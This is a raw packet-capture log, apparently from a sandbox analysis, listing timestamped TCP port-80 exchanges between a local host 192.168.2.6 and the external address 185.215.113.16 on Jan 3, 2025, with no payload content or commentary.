Jan 3, 2025 15:21:30.887234926 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.891068935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.891083002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.891189098 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.894963026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.895013094 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.895019054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.898839951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.898888111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.898914099 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.902575970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.902595997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.902621031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.905986071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.906024933 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.906061888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.909001112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.909013033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.909079075 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.911799908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.911819935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.911844015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.914482117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.914521933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.914521933 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.917278051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.917326927 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.917330980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.919965029 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.919998884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.920041084 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.922523022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.922533989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.922581911 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.925092936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.925126076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.925177097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.927453995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.927495956 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.927510023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.929742098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.929805040 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.929828882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.932030916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.932069063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.932106018 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.933970928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.933990955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.934017897 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.935921907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.935970068 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.936028957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.937846899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.937886953 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.937916994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.939786911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.939810991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.939835072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.941612959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.941665888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.941692114 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.943623066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.943639994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.943666935 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.945566893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.945583105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.945624113 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.946707010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.946749926 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.946751118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.948672056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.948717117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.948723078 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.950361013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.950375080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.950469971 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.951889038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.951931953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.951937914 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.953442097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.953483105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.953525066 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.954878092 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.954941034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.954941034 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.956271887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.956316948 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.956322908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.957729101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.957771063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.957772970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.959136009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.959147930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.959180117 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.960578918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.960633039 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.960669994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.961941004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.961951971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.961991072 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.963170052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.963218927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.963252068 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.964449883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.964462042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.964605093 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.965749025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.965760946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.965799093 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.966979027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.967025042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.967026949 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.968133926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.968185902 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.968197107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.969306946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.969366074 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.969407082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.970520020 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.970561981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.970563889 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.971700907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.971715927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.971740007 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.972764969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.972788095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.972824097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.973892927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.973937988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.973953009 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.974862099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.974931002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.974970102 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.975944996 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.975966930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.975986004 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.976893902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.976906061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.976953983 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.977889061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.977916002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.977968931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.978842974 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.978873968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.978924036 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.979906082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.979918957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.979965925 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.980801105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.980854988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.980917931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.981856108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.981867075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.981905937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.982615948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.982645988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.982682943 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.983515024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.983561993 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.983566046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.984416962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.984430075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.984462976 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.985193968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.985241890 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.985244036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.986074924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.986087084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.986129045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.986841917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.986887932 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.986891985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.987673044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.987684965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.987720966 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.988428116 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.988472939 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.988485098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.989272118 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.989283085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.989329100 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.990009069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.990061998 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.990087986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.990789890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.990837097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.990840912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.991549969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.991583109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.991592884 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.992347002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.992360115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.992400885 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.993072033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.993113041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.993119955 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.993871927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.993906021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.993916035 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.994632006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.994643927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.994685888 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.995342016 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.995376110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.995389938 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.996017933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.996035099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.996061087 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.996704102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.996753931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.996757984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.997417927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.997432947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.997457981 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.998152971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.998168945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.998181105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.998197079 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.998219013 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:30.999088049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.999135017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.999146938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:30.999186993 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.000165939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.000176907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.000189066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.000217915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.000241995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.001229048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.001240969 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.001251936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.001276016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.001893997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.001905918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.001916885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.001975060 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.001975060 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.002739906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.002784967 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.002795935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.002826929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.003712893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.003725052 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.003736973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.003760099 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.003787994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.004653931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.004666090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.004677057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.004703045 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.005481005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.005548000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.005559921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.005575895 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.005623102 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.006321907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.006334066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.006345987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.006376028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.007114887 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.007127047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.007138014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.007168055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.007189035 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.007927895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.007940054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.007951975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.007982016 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.008775949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.008788109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.008799076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.008945942 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.008945942 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.009603024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.009614944 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.009627104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.009872913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.010283947 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.010296106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.010305882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.010348082 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.010371923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.010963917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.010976076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.010987997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.010999918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.011030912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.011080980 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.011904955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.011917114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.011929989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.011951923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.011991978 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.012027979 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.012871981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.012882948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.012904882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.012917042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.012922049 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.012964010 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.013854980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.014066935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.014079094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.014091015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.014102936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.014118910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.014156103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.014976025 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.014987946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.015001059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.015012026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.015038013 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.015161037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.015953064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.015964031 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.015975952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.015988111 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.016000986 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.016025066 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.016845942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.016864061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.016875982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.016886950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.017014027 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.017791986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.017803907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.017816067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.017827034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.017836094 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.017869949 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.018646002 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.018659115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.018671036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.018683910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.018718004 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.018804073 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:31.019428015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.019448042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.019460917 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:31.019471884 CET	80	49829	185.215.113.16	192.168.2.6
